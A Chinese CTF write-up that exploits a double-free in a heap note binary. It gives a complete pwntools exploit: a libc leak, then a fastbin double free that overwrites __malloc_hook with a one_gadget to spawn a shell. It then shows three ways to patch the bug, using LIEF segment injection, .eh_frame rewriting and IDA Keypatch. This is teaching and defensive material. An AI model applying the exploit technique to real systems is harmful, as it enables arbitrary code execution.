记fast_bin attack到patch的三种手法

2019-08-06 约 1435 字 预计阅读 7 分钟

声明:本文 【记fast_bin attack到patch的三种手法】 由作者 thonsun 于 2019-08-06 07:28:00 首发 先知社区 曾经 浏览数 34 次

感谢 thonsun 的辛苦付出!

一、摘要

​从一道简单fast_bin利用题,分析当前fast_bin attack的本质思想就是通过一系列的绕过check与伪造fast_bin freed chunk fd指针内容获得(malloc)一块指向目标内存的指针引用,如got表、__malloc_hook__free_hook等引用,即可对其原来的函数指针进行改写,如改写为 __free_hook 为某处one_gadget地址,即可对目标程序流程进行控制,拿下shel;并以此题目介绍当前常用的三种patch手法:增加segment,修改section如 .eh_frame,IDA keypatch。断断续续入门pwn也有一段时间了,写下此文记录一段时间来的学习,供其他一路在学习的同志参考。

​相关题目、源码、exp和patch脚本已经放在github上可以自行下载参考练习。此处感谢sunichi师傅在patch一些技巧的指导。

二、漏洞分析

2.1 题目描述

​源码vul.c经过gcc默认编译成64位binary,检查开启的安全保护机制:

位置相关代码且开始Canary,NX保护,注意到Partial RELRO(Reloaction Read Only),表示可以可以覆写got表。进一步分析程序的执行流程:

典型的glibc heap的题目,表示我们可以操作内存块。分析add_note,delete_note,show_note的函数执行逻辑,只在delete_note处发现存在Double Free的漏洞

而程序的add_note只是简单的读入size个字符到分配的size大小的chunk,show_note把它以字符串形式打印出来
add_note:

show_note:

不存在UAF的漏洞,但由于存在Double Free,同样可以通过利用fast bin attack分配到一块指向got表项或者 __malloc_hook 或者 __free_hook ,修改其指针指向一个开shell(vul_func)的函数,即可达到控制程序流程的目的。此处选择覆盖 __malloc_hook进行利用,因为在每次调用malloc时候都会检查该函数是否被设置(大佬忽略),有关ptmalloc2内存分配的过程步骤详情参阅CTF wiki,在这里知道若覆盖了 __malloc_hook这些函数,在调用该函数即调用了我们定义的函数,执行shellcode。

2.2 shellcode 技术

​此处可以利用one_gadget或者ROP技术,选择one_gadget方便快捷,但有一些条件的限制,要寻得满足前提下的one_gadget地址(不同机器可能有所不同,exp里面的地址可能需要手动调整,我的机器为Ubuntu16.04LTS),在这里one_gadget可以这样理解:libc库给上层诸如IO函数提供支持,存在system("/bin/sh")执行返回结果,当然这样的代码对我们不可见,因其存在一个API函数内部的某一过程,但通过插件可以找到该语句的偏移与执行的前提条件,这就是one_gadget的原理。

三、漏洞利用

3.1 泄露libc地址

​要知道利用one_gadget工具查找libc的one_gadget只是一个偏移量,要想对 __malloc_hook函数进行覆写为调用该one_gadget,要寻得此时libc加载到内存的基址,shellcode的地址即为:libc_base + offset。

要泄露libc的地址,知道全局变量main_arena(记录此时进程的heap状况)为binary的动态加载的libc.so中.bss段中一个全局结构体,在内存映射中,偏移量是固定的,所以只需知道该main_arena此刻在内存地址和main_arena变量相对与libc.so中的偏移量即可计算libc基址:

libc_base = main_arena - main_arena_offset

对于linux的内存管理器,在使用free()进行内存释放时候,不大于max_fast(默认是64B)的chunk进行释放的时候会被放入fast_bin中,采用单链表进行组织,在下一次分配的采用LIFO的分配策略。而大于max_fast则被放入unsorted_bin,采用双向链表进行组织。当fast_bin为空的时候,大于max_fast的内存块释放时会填入fd,bk并且都指向main_arena结构体中的top_chunk。再次分配内存的时候并不会清空bk,fd的内容,通过show_note即可获得main_arena中top_chunk对于libc加载基址的偏移量。

# leak libc_base_address
add(0x500,'a') # 0
add(0x10,'a') # 1

free(0)
add(0x500,'a') # 2
gdb.attach()
show(2)
main_arena = p.recv(6).ljust(8,'\x00')
libc.address = u64(main_arena)-0x3c4b61 # 0x3c4b61位偏移量 61是因为填充了‘a’,0x61=a,小端序
  1. 对于有符号的libc-dbg(如我在Ubuntu中装有带debug符号版本的libc-2.23.so),可以直接在gdb中获取到该偏移量
    因为unsorted_bin中填入fd、bk的是top_chunk的地址(在代码第7行进入gdb调试可以看到内存分布)
    在free(0)后再次申请获得该内存add(0x500,'a')中进程中heap的状况:

    在第一次add(0x500,'a')的时候再次add(0x10,'a')是为了让idx=0的chunk与top_chunk隔离,在free(0)没有与top_chunk合并,而是加入unsorted_bin,填入指向main_arena的fd、bk指针,使得再次add(0x500,'a')的时候可以获得libc的一个地址。
    对于0x1dc7000的chunk,在经过释放再次申请时chunk中data:

    可以看到unsorted_bin中chunk的bk是指向了main_arena的top_chunk域中,但此处fd != bk这是为什么?

    因为是add(0x500,'a')再次从unsorted_bin中获得该chunk,Linux下小端序表示数,填入的'a'填充了fd的低一字节内容(即0x78 被 替换为 0x61),但这并不影响libc基址的计算:多次加载的libc中,偏移量不变,在gdb中获得某一次关于top_chunk指针域地址对于加载的libc的偏移量offset即可在以后泄露出top_chunk指针域地址ptr,这次加载的libc_base_address = ptr - offset即可计算。

    由于此处的ptr被写入的‘a’占去低位字节,此处的计算得来的offset也通过‘a’ = 0x61占位即可:


    fd域内存小端序表示:

    offset = 0x7f2d234bdb78 - 0x0x7f2d230f9000 = 0x3c4B78

    用0x61占低位字节:offset = 0x3c4B61

    即此题通过show_note(2)计算libc_base 地址:

    show(2)
     main_arena = p.recv(6).ljust(8,'\x00')  # 只能接收fd的前6字节,00截断了
     libc.address = u64(main_arena)-0x3c4b61
    
  2. 对于无debug符号的libc则可以通过IDA静态分析该libc.so获取到该偏移量:

    如利用malloc_trim函数中:

    1. dword_3C4B820即为main_arena结构体对应与libc加载基址的偏移量。

      相关源码可以确定:

      int
      __malloc_trim (size_t s)
      {
      int result = 0;
      if (__malloc_initialized < 0)
       ptmalloc_init ();
      mstate ar_ptr = &main_arena;
      do
       {
         __libc_lock_lock (ar_ptr->mutex);
         result |= mtrim (ar_ptr, s);
         __libc_lock_unlock (ar_ptr->mutex);
         ar_ptr = ar_ptr->next;
       }
      while (ar_ptr != &main_arena);
      return result;
      }
      

3.2 非法内存获取

​要想对 _malloc_hook 进行覆写,首先要获得该地址处的指针引用(这也是glibc heap exploit的一个思想,通过各种利用技巧获得对目标地址的一个引用,进而修改内存中内容)。对于fast_bin中,释放小于max_fast的chunk都将采用单向链表插入到fast_bin进行管理,即通过fd指针指向下一块的内存地址,在malloc中,fast_bin中满足大小的chunk将优先得到分配。

​题目存在double free漏洞,即可以在一个fast_bin单链中存在两处某一chunk的引用。第一次获得该chunk后可以通过覆写fd域内容为一个地址指针(fake fast_bin chunk),在后面存在该chunk的引用由于fd修改,该地址被加入到该大小的fast_bin链表中。即经若干次malloc该大小的fast_bin,可以获得该目标地址的引用。如图所示,fast_bin attack的利用流程,即时没有UAF,也可以通过Double Free分配到一个目标地址进行覆写:


​值得注意的是,fast_bin 在分配的时候加入了检查:

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))//搜索fast_bin
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          if (victim == NULL)
            break;
        }
      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
             != victim);
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))//fast_bin中的victim(选中的chunk)的size检查
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

若bin中的chunk的size域不满足bin的索引关系会报错:这给我们不能随意构造chunk都可以满足。要对目标地址进行小小改动,绕过此处的检查。
要想通过fast_bin获得 对 __malloc_hook地址处的引用,可以看其附近的内存信息,从中找出满足size要求的chunk构造
通过gdb可以查看到 __malloc_hook的地址与及附近的内存信息(带debug符号信息的libc)


查看进程max_fast的最大分配内存:

由于 fastbin_index (chunksize (victim)) != idx 只会检查 chunk中size字段的最后一字节(且后4位也只是作为标志位也不校检)作为大小校验:

小端序表示的数:即最低位的一字节为size大小。 __malloc_ptr -0x10 -3地址引用的chunk中size可以通过0x70的校验。0x70 < 0x80在fast_bin的管理范围内。所以通过连续分配0x68的大小的chunk可以伪造如利用图示的bin链表:

# double free
add(0x68,'a') # 3
add(0x68,'a') # 4
free(3)
free(4)
free(3)

print "__malloc_hook address:",hex(libc.symbols['__malloc_hook'])
add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存
add(0x68,'a')
add(0x68,'a') # 露出伪造到libc的地址,即最后一块fake fast_bin chunk(目标地址)

one_gadget = 0xf02a4
add(0x68,'y'*3+p64(libc.address + one_gadget)) # 覆写 __malloc_hook函数指针为one_gadget

之所以要

free(3)
free(4)
free(3)

是因为glibc在free的时候加入对fast_bin的检查:(只检查fast_bin头部与待free的chunk不同即可)

/* Check that the top of the bin is not the record we are going to add
       (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }

3.3 寻找gadget

由3.1知道,one_gadget找到的地址有很多,要选用哪个这是经过调试选择满足条件的gadget地址:(所以利用one_gadget有一定的限制,此处为了方便没有采用ROP技术)


找到即将调用one_gadget处的上下文环境:

在rsp+0x50处找到满足条件的one_gadget地址:libc_base + 0xf02a4

3.4 触发利用漏洞

通过上述过程,__malloc_hook处已经不为0了,被修改为了gadget处的地址,即再一次add_note调用malloc将进入 __malloc_hook 执行one_gadget,即开shell。

完整exp:

#!/usr/bin/python
# coding:utf-8
from pwn import * 

p = process("./vul")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size,data):
    p.sendafter("choice:","1")
    p.sendafter("size:",str(size))
    p.sendafter("write:",data)

def free(idx):
    p.sendafter("choice:","2")
    p.sendafter("index:",str(idx))

def show(idx):
    p.sendafter("choice:","3")
    p.sendafter("index:",str(idx))

# leak libc base address
add(0x500,'a') # 0
add(0x10,'a') # 1
free(0)
add(0x500,'a') # 2
show(2)
main_arena = p.recv(6).ljust(8,'\x00') 
libc.address = u64(main_arena)-0x3c4b61 # leak 到 libc的基址 0x61 = a

# double free
add(0x68,'a') # 3
add(0x68,'a') # 4
free(3)
free(4)
free(3)

print "__malloc_hook address:",hex(libc.symbols['__malloc_hook'])
add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存
add(0x68,'a')
add(0x68,'a') # 露出伪造到libc的地址,即最后一块fake fast_bin chunk(目标地址)
one_gadget = 0xf02a4
add(0x68,'y'*3+p64(libc.address + one_gadget))
p.interactive()

四、patch修补

​此处漏洞的成因在与存在一个Double Free的漏洞,使得同一块内存可以在fast_bin中存在两次的单链,使得可以构造一个fake_fast_bin_chunk(目标内存地址),通过fast_bin的内存分配过程获得该内存的指针引用,对其内容(__malloc_hook)进行覆写,达到控制程序流程。

​所以要对vul进行patch修复,要在free()后对全局指针引用置零。

​当然比赛中我们是没有获取到源码的,要在原binary对程序进行打patch,要知道对binary某函数处想要添加一句代码,不是单纯的“添加”,此处详细介绍当前AWD下对bianry的patch手法:包括利用call的函数hook,jmp的函数跳转,利用LIEF编程与使用IDA神器插件Keypatch,各有各有点,请斟酌服用。

​要想在原binary的delete_note函数增加对note[idx] = 0的语句:用A&T语法表示

/*重新获取idx*/
"mov -0x4(%rbp),%eax\n"
"cdqe\n"    
/* ptr = NULL,段寄存器不能传立即数*/
"mov $0x0,%ecx\n"
"mov %ecx,0x6020e0(,%rax,8)\n" /*ds:note[idx]*/

4.1 使用lief

lief可以将一个bianry内的机器代码写进另外一个binary中,在patch中通常表现为:

  1. 增加一个段(对原binary的大小将变化很大)
  2. 修改题目bianry中原来的其他段的内容,通常是eh_frame,

对函数内容逻辑的修改(hook)可以通过:

  1. 对call 函数的hook。
  2. 使用jmp跳转方式实现逻辑的添加。

对整个函数进行hook修改要实现内部大部分的原来的逻辑,像要对该fast_bin的patch,要在free()后增加一句置0的操作,采用call进行hook就要重新实现delete_note的逻辑,并增加置零的语句;而通过jmp方式只需在某处跳转到如写入.eh_frame段中代码,只需增加少部分代码即可实现,但对于call的hook在patch off-by-one漏洞就可以在hook整个函数的时候,修改传入的size大小,再次调用原来的函数,也可以是少量的代码。

4.1.1 Add segment

编写hook函数:

首先要编写我们的hook函数,通常是手写汇编代码,指令格式为A&T指令格式,静态编译为一个位置无关代码二进制文件:

  • 位置无关代码:-fPIC
  • 不是用外部的库如libc.so:-nostdlib -nodefaultlibs

组合起来的编译gcc命令:

gcc -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook

其中hook.c是我们自己手写的A&T指令格式的汇编代码文件

void my_delete_note(){
    asm(
        "sub $0x10,%rsp\n"
        "mov $0x400c87,%edi\n"
        "mov $0x0,%eax\n"
        /*call printf*/
        "nop\n"
        "nop\n"
        "nop\n"
        "nop\n"
        "nop\n"
        "mov $0x0,%eax\n"
        /*call read_int*/
        "nop\n"
        "nop\n"
        "nop\n"
        "nop\n"
        "nop\n"
        /* save idx to [rbp-4]*/
        "mov %eax,-0x4(%rbp)\n"
        /* load idx from [rbp-4]*/
        "mov -0x4(%rbp),%eax\n"
        "cdqe\n"
        /* load ptr from ds:note[rax*8]*/
        "mov 0x6020e0(,%rax,8),%rax\n"
        "test %rax,%rax\n"
        /*jmp short print nosuchnote*/
        /* 0x2d2-2 此处偏移量可以通过 objdump -d hook可以查看到*/
        "nop\n"
        "nop\n"
        /*end jmp*/
        "mov -0x4(%rbp),%eax\n"
        "cdqe\n"
        "mov 0x6020e0(,%rax,8),%rdi\n"
        /*call free*/
        "nop\n"
        "nop\n"
        "nop\n"
        "nop\n"
        "nop\n"
        /* call后rax发生变化,重新load idx */
        "mov -0x4(%rbp),%eax\n"
        "cdqe\n"
        /* ptr = NULL,段寄存器不能传立即数,此处为 note[idx] = 0的汇编*/
        "mov $0x0,%ecx\n"
        "mov %ecx,0x6020e0(,%rax,8)\n"
        /*end*/
        /*jmp end delete_func*/
        /* 0x2dc-2*/
        "nop\n"
        "nop\n"
        /*print nosuchnote*/
        "mov $0x400C8E,%edi\n"
        "nop\n"
        "nop\n"
        "nop\n"
        "nop\n"
        "nop\n"
        /*end delete_func*/
        //有函数的调用要自己处理栈平衡
        "add $0x10,%rsp\n"
    );
}

关于A&T指令格式的hook代码文件的编写注意点

  1. 对于把hook的函数作为一个新段添加到题目bianary中,写成一个函数的形式,asm()里面控制栈平衡。

  2. 对于要发生指令跳转,函数调用的地方,如此处的jmp xx,call free等,因为没有能够确定目标的地址,先用nop进行占位,因为对于call func的机器指令长度我们是可以知道的(通常是5 bytes E8 xx xx xx xx)且函数调用的地址计算采用相对地址寻址的补码形式,而对于jmp,存在近跳转、短跳转、远跳转的区别,指令的长度也不一样。详细

  3. 对于A&T指令格式,常用的是mov指令格式和寻址方式,如此处对于mov ds:note[rax*8],rax:

    • 转为A&T指令:mov %rax, 0xxxxxx(,%rax,8) /ds:note 可以在binary中找到 /
    • 对于段寻址:不能直接数传给段寄存器

      更多关于A&T指令格式注意点在用到去查阅。

对binary进行patch:

import lief
from pwn import *

def patch_jmp(file,op,srcaddr,dstaddr,arch="amd64"):
    length = (dstaddr-srcaddr-2) # 近掉跳转的patch
    print hex(length)
    order = chr(op)+chr(length)
    print disasm(order,arch=arch)
    file.patch_address(srcaddr,[ord(i) for i in order]) # 对指定地址写入代码

def patch_call(file,srcaddr,dstaddr,arch="amd64"):
    length = p32((dstaddr-srcaddr-5)&0xffffffff)
    order = "\xe8"+length
    print disasm(order,arch=arch)
    file.patch_address(srcaddr,[ord(i) for i in order])

# add hook's patched func to binary as a new segment
binary = lief.parse("./vul")
hook = lief.parse("./hook")

print hook.get_section(".text").content
print hook.segments[0].content

segment_added = binary.add(hook.segments[0])
hook_fun = hook.get_symbol("my_delete_note")
print hex(segment_added.virtual_address)
print hex(hook_fun.value)

# hook call delete_note
dstaddr = segment_added.virtual_address + hook_fun.value
srcaddr = 0x400B9A
patch_call(binary,srcaddr,dstaddr)

# patch print_inputidx
dstaddr = 0x400760
srcaddr = segment_added.virtual_address + 0x2f2 # 该数字为hook函数中nop填充的偏移量
patch_call(binary,srcaddr,dstaddr)

# patch call read_int
dstaddr = 0x4008d6
srcaddr = segment_added.virtual_address +0x2fc
patch_call(binary,srcaddr,dstaddr)

# patch call free
dstaddr = 0x400710
srcaddr = segment_added.virtual_address + 0x323
patch_call(binary,srcaddr,dstaddr)

# patch call puts
dstaddr = 0x400740
srcaddr = segment_added.virtual_address + 0x340
patch_call(binary,srcaddr,dstaddr)

# patch jz printnosuchnote short jmp
dstaddr = segment_added.virtual_address+0x33b
srcaddr = segment_added.virtual_address+0x314
patch_jmp(binary,0x74,srcaddr,dstaddr)

# patch jmp end_func
srcaddr = segment_added.virtual_address + 0x339
dstaddr = segment_added.virtual_address + 0x345
patch_jmp(binary,0xeb,srcaddr,dstaddr)

binary.write("patch_add_segment")

从上面从编写hook函数到指令地址修改,对整个delete_note函数实现的工作量是相对比较大:

可以看到vul程序从原来调用delete_note的函数到调用一个新段的函数sub_8032E0


而sub_8032E0的实现逻辑


添加了对指针noet[idx] = 0(free 后指针置0)的操作,修补了fast_bin attack:

可以看到通过增加段的操作原binary大小增加了很多

4.1.2 modify .eh_frame

​ 在4.1.1中通过增加段的形式插入自己实现的hook函数my_delete_note,添加对free(note[idx])的指针置0操作,可以看见对原程序的大小增加很大,某些比赛可能不能过check,此处通过把hook函数写入原binary的.eh_frame段中,即可在不增加程序大小的前提下实现对原delete_note函数进行hook修改,增加指针置零操作。

4.1.2.1 call 函数hook

编写函数

asm(
    "push %rbp\n"
    "mov %rsp,%rbp\n"
    "sub $0x10,%rsp\n"
    "mov $0x400c87,%edi\n"
    "mov $0x0,%eax\n"
    /*call printf*/
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "mov $0x0,%eax\n"
    /*call read_int*/
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    /* save idx to [rbp-4]*/
    "mov %eax,-0x4(%rbp)\n"
    /* load idx from [rbp-4]*/
    "mov -0x4(%rbp),%eax\n"
    "cdqe\n"
    /* load ptr from ds:note[rax*8]*/
    "mov 0x6020e0(,%rax,8),%rax\n"
    "test %rax,%rax\n"
    /*jmp short print nosuchnote*/
    /* 0x2d2-0x2ad-2 */
    "nop\n"
    "nop\n"
    /*end jmp*/
    "mov -0x4(%rbp),%eax\n"
    "cdqe\n"
    "mov 0x6020e0(,%rax,8),%rdi\n"
    /*call free*/
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    //在函数调换之后所有寄存器可能已经改变(程序流程不可靠,所以要重新计算)
    "mov -0x4(%rbp),%eax\n"
    "cdqe\n"    
    /* ptr = NULL,段寄存器不能传立即数*/
    "mov $0x0,%ecx\n"
    "mov %ecx,0x6020e0(,%rax,8)\n"
    /*end*/
    /*jmp end delete_func*/
    /* 0x2dc-0x2d0-2*/
    "nop\n"
    "nop\n"
    /*print nosuchnote*/
    "mov $0x400C8E,%edi\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    /*end delete_func*/
    "leave\n"
    "ret\n"
);

静态编译:

gcc -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook

LIEF脚本patch

import lief
from pwn import *

def patch_jmp(file,op,srcaddr,dstaddr,arch="amd64"):
    length = (dstaddr-srcaddr-2)
    print hex(length)
    order = chr(op)+chr(length)
    print disasm(order,arch=arch)
    file.patch_address(srcaddr,[ord(i) for i in order])

def patch_call(file,srcaddr,dstaddr,arch="amd64"):
    length = p32((dstaddr-srcaddr-5)&0xffffffff)
    order = "\xe8"+length
    print disasm(order,arch=arch)
    file.patch_address(srcaddr,[ord(i) for i in order])

# add hook's patched func to binary as a new segment
binary = lief.parse("./vul")
hook = lief.parse("./hook")

hook_func_base = 0x279

hook_sec = hook.get_section(".text")
bin_eh_frame =  binary.get_section(".eh_frame")

print hook_sec.content
print bin_eh_frame.content

bin_eh_frame.content = hook_sec.content
print bin_eh_frame.content


# hook call delete_note
dstaddr = bin_eh_frame.virtual_address
srcaddr = 0x400B9A
patch_call(binary,srcaddr,dstaddr)

# patch print_inputidx
dstaddr = 0x400760
srcaddr = bin_eh_frame.virtual_address + (0x28b-hook_func_base)
patch_call(binary,srcaddr,dstaddr)

# patch call read_int
dstaddr = 0x4008d6
srcaddr = bin_eh_frame.virtual_address +(0x295-hook_func_base)
patch_call(binary,srcaddr,dstaddr)

# patch call free
dstaddr = 0x400710
srcaddr = bin_eh_frame.virtual_address + (0x2bc-hook_func_base)
patch_call(binary,srcaddr,dstaddr)

# patch call puts
dstaddr = 0x400740
srcaddr = bin_eh_frame.virtual_address + (0x2d9-hook_func_base)
patch_call(binary,srcaddr,dstaddr)

# patch jz printnosuchnote short jz
dstaddr = bin_eh_frame.virtual_address+(0x2d4-hook_func_base)
srcaddr = bin_eh_frame.virtual_address+(0x2ad -hook_func_base)
patch_jmp(binary,0x74,srcaddr,dstaddr)

# patch jmp end_func
srcaddr = bin_eh_frame.virtual_address + (0x2d2-hook_func_base)
dstaddr = bin_eh_frame.virtual_address + (0x2de-hook_func_base)
patch_jmp(binary,0xeb,srcaddr,dstaddr)

binary.write("patch_md_ehframe")

patch的效果:
delete_note函数被hook修改调用为eh_frame处的sub_400D70

sub_400D70的实现

patch前后的程序大小:

同样是增加一个函数,大小没有发生变化,因为代码都写入了原binary的.eh_frame段了。

对于exp的抵御:

4.1.2.2 jmp实现的hook

上面的方法都是通过对整个函数逻辑进行重写,为的就是添加一句free后的指针置零操作,工作量太大。patch中jmp的方式实现函数逻辑的添加更为方便简单。对需要添加逻辑的部分,在原程序中合适位置中jmp 跳转到 修改的.eh_frame处,执行完毕后(指针置零)再次jmp跳转到原成功的逻辑。此处涉及到jmp的跨段的长跳转,寻址方式与call的计算一样。

编写hook逻辑

asm(
    "mov -4(%rbp),%eax\n"
    "cdqe\n"
    "mov 0x6020e0(,%rax,8),%rax\n"
    "test %rax,%rax\n"
    /*jz puts nosuchnote */
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "mov -4(%rbp),%eax\n"
    "cdqe\n"
    "mov 0x6020e0(,%rax,8),%rdi\n"
    /*call free*/
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "mov $0x0,%ecx\n"
    "mov -4(%rbp),%eax\n"
    "cdqe\n"
    "mov %ecx,0x6020e0(,%rax,8)\n"
    /*jmp back to end*/
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
    "nop\n"
);

可以看到实现的只是其中的一部分内容,工作量减少:

在原来调用if-else的判断逻辑处进行跳转,loc400D70是我们上述汇编实现的if-else判断处理,增加了对free后的指针置零操作,原本的if-else逻辑被弃用。

LIEF脚本patch地址

import lief
from pwn import *

def patch_jmp(file,srcaddr,dstaddr,arch="amd64"):
    length = p32((dstaddr-srcaddr-5)&0xffffffff) # long jmp address calc
    print length
    order = "\xe9"+length
    print disasm(order,arch=arch)
    file.patch_address(srcaddr,[ord(i) for i in order])

def patch_jz(file,srcaddr,dstaddr,arch="amd64"):
    length = p32((dstaddr-srcaddr-6)&0xffffffff)
    order = "\x0f\x84"+length
    print disasm(order,arch=arch)
    file.patch_address(srcaddr,[ord(i) for i in order])

def patch_call(file,srcaddr,dstaddr,arch="amd64"):
    length = p32((dstaddr-srcaddr-5)&0xffffffff)
    order = "\xe8"+length
    print disasm(order,arch=arch)
    file.patch_address(srcaddr,[ord(i) for i in order])

# add hook's patched func to binary as a new segment
binary = lief.parse("./vul")
hook = lief.parse("./hook")

hook_func_base = 0x279

hook_sec = hook.get_section(".text")
bin_eh_frame =  binary.get_section(".eh_frame")

print hook_sec.content
print bin_eh_frame.content

bin_eh_frame.content = hook_sec.content
print bin_eh_frame.content


# hook delete_note to eh_frame
dstaddr = bin_eh_frame.virtual_address
srcaddr = 0x400A15
patch_jmp(binary,srcaddr,dstaddr)

# patch jz put_nosuchnote
dstaddr = 0x400A3E
srcaddr = bin_eh_frame.virtual_address + (0x289-hook_func_base)
patch_jz(binary,srcaddr,dstaddr)

# patch call free
dstaddr = 0x400710
srcaddr = bin_eh_frame.virtual_address + (0x29c-hook_func_base)
patch_call(binary,srcaddr,dstaddr)

# patch jmp back to delete_note end
dstaddr = 0x400A48
srcaddr = bin_eh_frame.virtual_address + (0x2b2 - hook_func_base)
patch_jmp(binary,srcaddr,dstaddr)

binary.write("patch_jmp_ehframe")

patch的效果:
main函数主循环中的delete_note调用没有hook,但是delete_note里面的逻辑已经发生改变

增加了free后指针置0操作

对fast_bin attach的防御:

4.2 使用Keypatch

上面都是通过编程的手段对binary进行patch,不方便之处就是处理两个binary间的指令跳转的地址计算,通过lief提供的API函数获得加载基址与计算的偏移量,对脚本的nop占位进行修改,人工计算汇编间地址比较多,如ds:note[rax*8]的计算等。一种方便的快速patch手段是使用IDA的第三方插件Keypatch,可以省去这些binary内部符号的地址计算与编写脚本的工作,直接写汇编进keypatch,它会自动编码成二进制指令并插入到指定地方。官方文档

支持的修改:

  • patcher :对指定一行汇编的修改,覆盖原来的机器指令。
  • fill range:对指定范围的指令进行覆写。(通常用于.eh_frame写入多行逻辑处理指令)
  • undo:撤销上一步patch修改
  • 实时显示编码的指令的长度

通过上面的分析,采用jmp跳转到.eh_frame进行指针置零操作的if-else逻辑处理,此处采用Intel指令格式的汇编。要注意的是,拖keypatch中不能编码汇编指令为二进制机器指令时候要考虑:

  1. jmp , call等不能采用free,sub_xxxx,loc_xxxx的形式,即keypatch不能识别符号地址跳转,要手动指定十六进制地址,但对于ds:note[rax*8]段寻址方式是可以直接识别。
  2. mov 的立即数传数不正确。有关于mov的指令格式,参考

利用keypatch对vul中double free进行修改:

  1. 写入增加free后指针置零的if-else逻辑到.eh_frame,使用fill range:

    mov     eax, [rbp-4];
     cdqe;
     mov     rax, ds:note[rax*8];
     test rax,rax;
     jz 0x400A3E; //keypatch 在跳转(jmp、call)采用十六进制地址进行(否则无法编码)
     mov     eax, [rbp-4];
     cdqe;
     mov     rax, ds:note[rax*8];
     mov rdi,rax;
     call 0x400710;//call _free
     mov     eax, [rbp-4];cdqe;
     mov rcx,0;
     mov ds:note[rax*8],rcx;//关于mov寻址操作约定:段地址不能直接赋予立即数
     jmp 0x400A48
     ;多条汇编指令间用;隔开成一行
    

    先随便选取.eh_frame一段范围,写入汇编

    可以看到采用Intel语法,成功Encode后的size为68 bytes,若不能成功Encode所写的汇编代码,则检查上述可能出现的语法错误。增大选中的大小写入。

  2. 原binary的if-else判断前的跳转,由于长跳转占用5bytes,使用fill range:

    成功写入:
  3. 保存修改到文件
    Edit->patch program -> apply into input files

    close之后在重新打开即可看到patched的结果:
  4. patch前后的大小与对fast_bin attack的防御


    可以看到使用keypatch插件工作量在尽量少的情况下实现同样的防御效果,上述patched手法选用哪个都一样,看个人喜好,都是patch的一些工具。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now